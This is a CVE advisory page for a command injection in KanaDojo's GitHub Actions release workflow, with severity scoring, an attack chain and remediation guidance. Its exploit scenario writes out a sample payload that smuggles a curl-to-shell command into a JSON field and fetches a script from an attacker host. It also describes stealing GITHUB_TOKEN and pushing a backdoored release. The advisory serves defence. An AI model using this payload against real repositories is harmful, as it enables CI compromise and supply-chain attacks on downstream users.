Skip to main content

KanaDojo EUVDEUVD-2026-36284

| CVE-2026-48547 HIGH
OS Command Injection (CWE-78)
2026-06-11 VulnCheck GHSA-g3g7-r6qj-455p
8.5
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Fork KanaDojo repository
  2. Delivery
    Inject shell metacharacters into patchNotesData.json
  3. Exploit
    Open pull request as routine release-notes update
  4. Install
    Maintainer reviews and merges PR
  5. C2
    release.yml workflow runs execSync on injected string
  6. Execute
    Commands execute on GitHub runner
  7. Impact
    Exfiltrate GITHUB_TOKEN and push backdoored release

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must (1) be able to author a pull request against the KanaDojo repository (any GitHub account can do this for a public repo), (2) modify the version or changes fields of patchNotesData.json with shell metacharacters, and (3) get a maintainer to merge that PR so the release.yml workflow executes on a runner that has contents:write and a valid GITHUB_TOKEN. Exploitation is limited by the merge gate (UI:P in the CVSS 4.0 vector) - without maintainer review approval the injected payload never runs - and by the fact that the malicious diff is visible in patchNotesData.json and may be flagged during code review.

Impact

The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N) yields 8.5 and reflects realistic conditions: a network-reachable attack surface (a public GitHub repo), low attack complexity once a PR is staged, low attacker privileges (a GitHub account able to file a PR), and passive user interaction (a maintainer must merge). High confidentiality and integrity impact map to GITHUB_TOKEN theft and the ability to push tampered releases. No CISA KEV listing and no published EPSS score are available, and no public POC was identified - the practical risk is therefore conditional on a maintainer being tricked into merging a malicious PR, which makes this a targeted supply-chain risk rather than a mass-exploitation candidate. The biggest uncertainty is whether mainline review practices would catch the trivially-suspicious diff in patchNotesData.json.

Exploit ScenarioDerived

An attacker forks the KanaDojo repository, edits patchNotesData.json so the version or changes field contains a payload like 1.0.0"; curl attacker.tld/x.sh | sh; #, and opens a pull request disguised as a routine release-notes update. When a maintainer merges the PR, the release.yml workflow runs on the trusted runner, execSync evaluates the injected command, and the attacker exfiltrates GITHUB_TOKEN or pushes a backdoored release tag. No public exploit identified at time of analysis, but the exploit primitive is straightforward to reproduce from the description.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 11, 2026

Command injection in KanaDojo's GitHub Actions release workflow (release.yml) allows attackers who can land a pull request to execute arbitrary commands on the repository's CI runner. The version and changes fields of patchNotesData.json are interpolated unsanitized into a child_process.execSync() call, granting any merged malicious PR access to GITHUB_TOKEN and contents:write permissions. No public exploit identified at time of analysis, but the supply-chain blast radius is significant for downstream KanaDojo consumers.

RemediationAI

Upgrade to KanaDojo v0.1.18 or later, which corresponds to the upstream fix referenced at https://github.com/lingdojo/kana-dojo/releases/tag/v0.1.18 (vendor-released patch: 0.1.18). If immediate upgrade is not possible, replace the vulnerable execSync() interpolation in release.yml with execFile() or spawn() using an argument array so that JSON values cannot be parsed as shell syntax, or load and pass patchNotesData.json values exclusively through environment variables consumed by a parameterized script. Operationally, require maintainer review of any PR that touches patchNotesData.json or workflow files, restrict workflow_run / pull_request_target triggers, and scope GITHUB_TOKEN permissions to the minimum required (set permissions: contents: read where possible) - note the trade-off that tightening permissions may break legitimate release automation that relies on contents:write.

Affected VersionsENISA

kana-dojo 0 <0.1.18

Affected Packages

euvd kana_dojo fix: 0.1.18

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The vulnerable component is the project's GitHub Actions release.yml workflow, which reads attacker-controllable JSON content (patchNotesData.json) and concatenates it directly into a Node.js child_process.execSync() shell invocation. Because execSync runs the resulting string through /bin/sh, shell metacharacters (;, backticks, $(), |, &&) embedded in the JSON fields are interpreted rather than treated as data. The affected CPE is cpe:2.3:a:lingdojo:kana-dojo (all versions prior to the v0.1.18 release tag).

Know when Kana Dojo gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.7 HIGH

PR:L for a GitHub account able to file a PR; AC:H and UI:R because a maintainer must be social-engineered into merging; S:C as code executes in the trusted CI runner context.

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 11, 2026 - 20:01 EUVD

DescriptionCVE.org

KanaDojo contains a command injection vulnerability that allows an attacker with pull request access to execute arbitrary shell commands by inserting shell metacharacters into the version or changes fields of patchNotesData.json, which are interpolated unsanitized into a child_process.execSync() call in the release.yml workflow. Attackers can have a malicious pull request merged to trigger the GitHub Actions runner with contents write permissions and access to GITHUB_TOKEN.

Executive ViewAI

Why It Matters

KanaDojo's GitHub Actions release workflow contains a command injection vulnerability (CVSS 8.5) that allows attackers with pull request access to execute arbitrary commands and compromise the repository's credentials (GITHUB_TOKEN). This creates critical supply chain risk for any organization using KanaDojo, as a malicious release could distribute compromised artifacts downstream to all dependent projects.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Enforce mandatory code review and approval gates for all pull requests touching release workflows; (2) Restrict PR merge permissions to senior engineers with explicit code ownership; (3) Rotate GITHUB_TOKEN credentials immediately; (4) Disable workflow permissions by default, explicitly granting only required scopes; (5) Add input validation to reject special shell characters in version and changes fields; (6) Require signed commits for merge authorization; (7) Implement continuous monitoring of release pipeline logs for command execution anomalies; (8) Enable branch protection rules requiring dismissal of stale reviews before merge.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy